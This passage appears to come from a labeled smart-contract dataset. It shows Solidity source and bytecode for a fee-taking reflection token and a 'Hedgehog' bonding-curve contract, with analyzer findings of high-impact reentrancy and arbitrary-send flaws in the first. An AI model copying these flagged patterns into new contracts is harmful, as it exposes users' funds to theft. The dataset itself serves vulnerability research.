uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 10000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (1800 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610340578063c3c8cd8014610360578063c9567bf914610375578063db92dbb61461038a578063dd62ed3e1461039f578063e8078d94146103e557600080fd5b8063715018a6146102c45780638da5cb5b146102d957806395d89b4114610145578063a9059cbb14610301578063a985ceef1461032157600080fd5b8063313ce567116100fd578063313ce5671461021157806345596e2e1461022d5780635932ead11461024f57806368a3a6a51461026f5780636fc3eaec1461028f57806370a08231146102a457600080fd5b806306fdde0314610145578063095ea7b31461018757806318160ddd146101b757806323b872dd146101dc57806327f3a72a146101fc57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b50604080518082018252600a8152694b696c6c20466c6f6b6960b01b6020820152905161017e9190611a1f565b60405180910390f35b34801561019357600080fd5b506101a76101a2366004611977565b6103fa565b604051901515815260200161017e565b3480156101c357600080fd5b50670de0b6b3a76400005b60405190815260200161017e565b3480156101e857600080fd5b506101a76101f7366004611937565b610411565b34801561020857600080fd5b506101ce61047a565b34801561021d57600080fd5b506040516009815260200161017e565b34801561023957600080fd5b5061024d6102483660046119da565b61048a565b005b34801561025b57600080fd5b5061024d61026a3660046119a2565b610533565b34801561027b57600080fd5b506101ce61028a3660046118c7565b6105b2565b34801561029b57600080fd5b5061024d6105d5565b3480156102b057600080fd5b506101ce6102bf3660046118c7565b610602565b3480156102d057600080fd5b5061024d610624565b3480156102e557600080fd5b506000546040516001600160a01b03909116815260200161017e565b34801561030d57600080fd5b506101a761031c366004611977565b610698565b34801561032d57600080fd5b50601354600160a81b900460ff166101a7565b34801561034c57600080fd5b506101ce61035b3660046118c7565b6106a5565b34801561036c57600080fd5b5061024d6106cb565b34801561038157600080fd5b5061024d610701565b34801561039657600080fd5b506101ce61074f565b3480156103ab57600080fd5b506101ce6103ba3660046118ff565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103f157600080fd5b5061024d610767565b6000610407338484610b18565b5060015b92915050565b600061041e848484610c3c565b610470843361046b85604051806060016040528060288152602001611bbf602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061117a565b610b18565b5060019392505050565b600061048530610602565b905090565b6011546001600160a01b0316336001600160a01b0316146104aa57600080fd5b603381106104f75760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b0316331461055d5760405162461bcd60e51b81526004016104ee90611a72565b6013805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870690602001610528565b6001600160a01b03811660009081526006602052604081205461040b9042611b6e565b6011546001600160a01b0316336001600160a01b0316146105f557600080fd5b476105ff816111b4565b50565b6001600160a01b03811660009081526002602052604081205461040b906111ee565b6000546001600160a01b0316331461064e5760405162461bcd60e51b81526004016104ee90611a72565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610407338484610c3c565b6001600160a01b03811660009081526006602052604081206001015461040b9042611b6e565b6011546001600160a01b0316336001600160a01b0316146106eb57600080fd5b60006106f630610602565b90506105ff81611272565b6000546001600160a01b0316331461072b5760405162461bcd60e51b81526004016104ee90611a72565b6013805460ff60a01b1916600160a01b17905561074a42610708611b17565b601455565b601354600090610485906001600160a01b0316610602565b6000546001600160a01b031633146107915760405162461bcd60e51b81526004016104ee90611a72565b601354600160a01b900460ff16156107eb5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104ee565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108273082670de0b6b3a7640000610b18565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561086057600080fd5b505afa158015610874573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089891906118e3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108e057600080fd5b505afa1580156108f4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091891906118e3565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561096057600080fd5b505af1158015610974573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099891906118e3565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d71947306109c881610602565b6000806109dd6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4057600080fd5b505af1158015610a54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a7991906119f2565b5050662386f26fc100006010555042600d5560135460125460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610adc57600080fd5b505af1158015610af0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1491906119be565b5050565b6001600160a01b038316610b7a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ee565b6001600160a01b038216610bdb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ee565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ee565b6001600160a01b038216610d025760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ee565b60008111610d645760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ee565b6000546001600160a01b03848116911614801590610d9057506000546001600160a01b03838116911614155b1561111d57601354600160a81b900460ff1615610e10573360009081526006602052604090206002015460ff16610e1057604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6013546001600160a01b038481169116148015610e3b57506012546001600160a01b03838116911614155b8015610e6057506001600160a01b03821660009081526005602052604090205460ff16155b15610fbf57601354600160a01b900460ff16610ebe5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016104ee565b6007600a55601354600160a81b900460ff1615610f8557426014541115610f8557601054811115610eee57600080fd5b6001600160a01b0382166000908152600660205260409020544211610f605760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016104ee565b610f6b42602d611b17565b6001600160a01b0383166000908152600660205260409020555b601354600160a81b900460ff1615610fbf57610fa242600f611b17565b6001600160a01b0383166000908152600660205260409020600101555b6000610fca30610602565b601354909150600160b01b900460ff16158015610ff557506013546001600160a01b03858116911614155b801561100a5750601354600160a01b900460ff165b1561111b576007600a55601354600160a81b900460ff161561109c576001600160a01b038416600090815260066020526040902060010154421161109c5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016104ee565b801561110957600b546013546110d2916064916110cc91906110c6906001600160a01b0316610602565b90611417565b90611496565b81111561110057600b546013546110fd916064916110cc91906110c6906001600160a01b0316610602565b90505b61110981611272565b47801561111957611119476111b4565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061115f57506001600160a01b03831660009081526005602052604090205460ff165b15611168575060005b611174848484846114d8565b50505050565b6000818484111561119e5760405162461bcd60e51b81526004016104ee9190611a1f565b5060006111ab8486611b6e565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610b14573d6000803e3d6000fd5b60006007548211156112555760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104ee565b600061125f611506565b905061126b8382611496565b9392505050565b6013805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112c857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561131c57600080fd5b505afa158015611330573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135491906118e3565b8160018151811061137557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260125461139b9130911684610b18565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113d4908590600090869030904290600401611aa7565b600060405180830381600087803b1580156113ee57600080fd5b505af1158015611402573d6000803e3d6000fd5b50506013805460ff60b01b1916905550505050565b6000826114265750600061040b565b60006114328385611b4f565b90508261143f8583611b2f565b1461126b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ee565b600061126b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611529565b806114e5576114e5611557565b6114f0848484611585565b8061117457611174600e54600955600f54600a55565b600080600061151361167c565b90925090506115228282611496565b9250505090565b6000818361154a5760405162461bcd60e51b81526004016104ee9190611a1f565b5060006111ab8486611b2f565b6009541580156115675750600a54155b1561156e57565b60098054600e55600a8054600f5560009182905555565b600080600080600080611597876116bc565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115c99087611719565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115f8908661175b565b6001600160a01b03891660009081526002602052604090205561161a816117ba565b6116248483611804565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161166991815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006116978282611496565b8210156116b357505060075492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006116d98a600954600a54611828565b92509250925060006116e9611506565b905060008060006116fc8e878787611877565b919e509c509a509598509396509194505050505091939550919395565b600061126b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061117a565b6000806117688385611b17565b90508381101561126b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ee565b60006117c4611506565b905060006117d28383611417565b306000908152600260205260409020549091506117ef908261175b565b30600090815260026020526040902055505050565b6007546118119083611719565b600755600854611821908261175b565b6008555050565b600080808061183c60646110cc8989611417565b9050600061184f60646110cc8a89611417565b90506000611867826118618b86611719565b90611719565b9992985090965090945050505050565b60008080806118868886611417565b905060006118948887611417565b905060006118a28888611417565b905060006118b4826118618686611719565b939b939a50919850919650505050505050565b6000602082840312156118d8578081fd5b813561126b81611b9b565b6000602082840312156118f4578081fd5b815161126b81611b9b565b60008060408385031215611911578081fd5b823561191c81611b9b565b9150602083013561192c81611b9b565b809150509250929050565b60008060006060848603121561194b578081fd5b833561195681611b9b565b9250602084013561196681611b9b565b929592945050506040919091013590565b60008060408385031215611989578182fd5b823561199481611b9b565b946020939093013593505050565b6000602082840312156119b3578081fd5b813561126b81611bb0565b6000602082840312156119cf578081fd5b815161126b81611bb0565b6000602082840312156119eb578081fd5b5035919050565b600080600060608486031215611a06578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a4b57858101830151858201604001528201611a2f565b81811115611a5c5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611af65784516001600160a01b031683529383019391830191600101611ad1565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b2a57611b2a611b85565b500190565b600082611b4a57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b6957611b69611b85565b500290565b600082821015611b8057611b80611b85565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146105ff57600080fd5b80151581146105ff57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e0603acdc607e6cad8d41c9abf862cc18e2fde502bbbdd2ebfe068979d7acc6c64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,530
0x7ad99bd7414b1d27c25076afb807b8d3bdc8cc59
/** *Submitted for verification at Etherscan.io on 2021-02-16 */ // SPDX-License-Identifier: GPL-3.0 pragma solidity =0.6.11; library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, "ds-math-add-overflow"); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, "ds-math-sub-underflow"); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow"); } function div(uint x, uint y) internal pure returns (uint z) { require(y > 0); z = x / y; } function min(uint x, uint y) internal pure returns (uint z) { return x <= y ? x : y; } function max(uint x, uint y) internal pure returns (uint z) { return x >= y ? x : y; } function imin(int x, int y) internal pure returns (int z) { return x <= y ? x : y; } function imax(int x, int y) internal pure returns (int z) { return x >= y ? x : y; } uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; //rounds to zero if x*y < WAD / 2 function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } //rounds to zero if x*y < RAY / 2 function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } //rounds to zero if x*y < WAD / 2 function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } //rounds to zero if x*y < RAY / 2 function rdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint x, uint n) internal pure returns (uint z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } contract HedgehogERC20 is IERC20 { using SafeMath for uint; string public override name; string public override symbol; uint8 public override decimals; uint public override totalSupply; mapping(address => uint) public override balanceOf; mapping(address => mapping(address => uint)) public override allowance; function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external override returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external override returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external override returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } } contract Hedgehog is HedgehogERC20{ using SafeMath for uint256; bool public initialized; address public asset; uint256 public timestamp; uint256 public oracle; uint256 public oracle_prev; event Deposit(address indexed from, uint256 asset_value, uint256 token_value); event Withdraw(address indexed from, uint256 asset_value, uint256 token_value); event Oracle(uint256 timestamp, uint256 new_price, uint256 old_price); uint256 private unlocked = 1; modifier lock() { require(unlocked == 1, 'Hedgehog: LOCKED'); unlocked = 0; _; unlocked = 1; } function initialize(address _asset) public { require(initialized == false, "Hedgehog_initialize: already initialized"); asset = _asset; initialized = true; string memory _name = IERC20(asset).name(); name = append("Hedgehog ", _name); string memory _symbol = IERC20(asset).symbol(); symbol = append("h", _symbol); decimals = 5; } function price() public view returns (uint256) { uint256 token_price = calculateAssetIn(1e5); return token_price; } function deposit(uint256 token_amount, uint256 expected_assets) public lock { uint256 asset_deposit = calculateAssetIn(token_amount); require(asset_deposit > 0, "Hedgehog_Deposit: zero asset deposit"); require(asset_deposit <= expected_assets, "Hedgehog_Deposit: deposit assets above expected"); _oracle(); TransferHelper.safeTransferFrom(asset, msg.sender, address(this), asset_deposit); _mint(msg.sender, token_amount); Deposit(msg.sender, asset_deposit, token_amount); } function withdraw(uint256 token_amount, uint256 expected_assets) public lock { uint256 asset_withdraw = calculateAssetOut(token_amount); require(asset_withdraw > 0, "Hedgehog_withdraw: zero asset withdraw"); require(asset_withdraw >= expected_assets, "Hedgehog_Deposit: withdraw assets below expected"); _oracle(); _burn(msg.sender, token_amount); TransferHelper.safeTransfer(asset, msg.sender, asset_withdraw); Withdraw(msg.sender, asset_withdraw, token_amount); } function calculateAssetIn(uint256 token_amount) public view returns (uint256) { uint256 asset_balance = IERC20(asset).balanceOf(address(this)); uint256 token_balance_new = totalSupply.add(token_amount); uint256 asset_balance_new = token_balance_new.mul(token_balance_new); return asset_balance_new.sub(asset_balance); } function calculateAssetOut(uint256 token_amount) public view returns (uint256) { uint256 asset_balance = IERC20(asset).balanceOf(address(this)); uint256 token_balance_new = totalSupply.sub(token_amount); uint256 asset_balance_new = token_balance_new.mul(token_balance_new); return asset_balance.sub(asset_balance_new); } function _oracle() internal { if (timestamp < block.timestamp && totalSupply > 0){ timestamp = block.timestamp; oracle_prev = oracle; oracle = price(); Oracle(timestamp, oracle, oracle_prev); } } function append(string memory a, string memory b) internal pure returns (string memory) { return string(abi.encodePacked(a, b)); } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad578063a9059cbb11610071578063a9059cbb1461053f578063b80777ea146105a5578063c4d66de8146105c3578063dd62ed3e14610607578063e2bbb1581461067f5761012c565b806370a08231146103e65780637dc0d1d01461043e57806395d89b411461045c5780639c3e16cb146104df578063a035b1fe146105215761012c565b806323b872dd116100f457806323b872dd14610278578063313ce567146102fe57806338d52e0f14610322578063441a3e701461036c5780634ab49c1e146103a45761012c565b806306fdde0314610131578063095ea7b3146101b457806313d61c8a1461021a578063158ef93e1461023857806318160ddd1461025a575b600080fd5b6101396106b7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017957808201518184015260208101905061015e565b50505050905090810190601f1680156101a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610200600480360360408110156101ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610755565b604051808215151515815260200191505060405180910390f35b61022261076c565b6040518082815260200191505060405180910390f35b610240610772565b604051808215151515815260200191505060405180910390f35b610262610785565b6040518082815260200191505060405180910390f35b6102e46004803603606081101561028e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061078b565b604051808215151515815260200191505060405180910390f35b610306610956565b604051808260ff1660ff16815260200191505060405180910390f35b61032a610969565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103a26004803603604081101561038257600080fd5b81019080803590602001909291908035906020019092919050505061098f565b005b6103d0600480360360208110156103ba57600080fd5b8101908080359060200190929190505050610b70565b6040518082815260200191505060405180910390f35b610428600480360360208110156103fc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c9c565b6040518082815260200191505060405180910390f35b610446610cb4565b6040518082815260200191505060405180910390f35b610464610cba565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104a4578082015181840152602081019050610489565b50505050905090810190601f1680156104d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61050b600480360360208110156104f557600080fd5b8101908080359060200190929190505050610d58565b6040518082815260200191505060405180910390f35b610529610e84565b6040518082815260200191505060405180910390f35b61058b6004803603604081101561055557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e9c565b604051808215151515815260200191505060405180910390f35b6105ad610eb3565b6040518082815260200191505060405180910390f35b610605600480360360208110156105d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eb9565b005b6106696004803603604081101561061d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611316565b6040518082815260200191505060405180910390f35b6106b56004803603604081101561069557600080fd5b81019080803590602001909291908035906020019092919050505061133b565b005b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561074d5780601f106107225761010080835404028352916020019161074d565b820191906000526020600020905b81548152906001019060200180831161073057829003601f168201915b505050505081565b600061076233848461151d565b6001905092915050565b60095481565b600660009054906101000a900460ff1681565b60035481565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610940576108bf82600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160890919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61094b84848461168b565b600190509392505050565b600260009054906101000a900460ff1681565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001600a5414610a07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4865646765686f673a204c4f434b45440000000000000000000000000000000081525060200191505060405180910390fd5b6000600a819055506000610a1a83610b70565b905060008111610a75576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806121c96026913960400191505060405180910390fd5b81811015610ace576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603081526020018061224b6030913960400191505060405180910390fd5b610ad661181f565b610ae033846118a5565b610b0d600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633836119bf565b3373ffffffffffffffffffffffffffffffffffffffff167ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b5688285604051808381526020018281526020019250505060405180910390a2506001600a819055505050565b600080600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610c1257600080fd5b505afa158015610c26573d6000803e3d6000fd5b505050506040513d6020811015610c3c57600080fd5b810190808051906020019092919050505090506000610c668460035461160890919063ffffffff16565b90506000610c7d8283611b9b90919063ffffffff16565b9050610c92818461160890919063ffffffff16565b9350505050919050565b60046020528060005260406000206000915090505481565b60085481565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d505780601f10610d2557610100808354040283529160200191610d50565b820191906000526020600020905b815481529060010190602001808311610d3357829003601f168201915b505050505081565b600080600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610dfa57600080fd5b505afa158015610e0e573d6000803e3d6000fd5b505050506040513d6020811015610e2457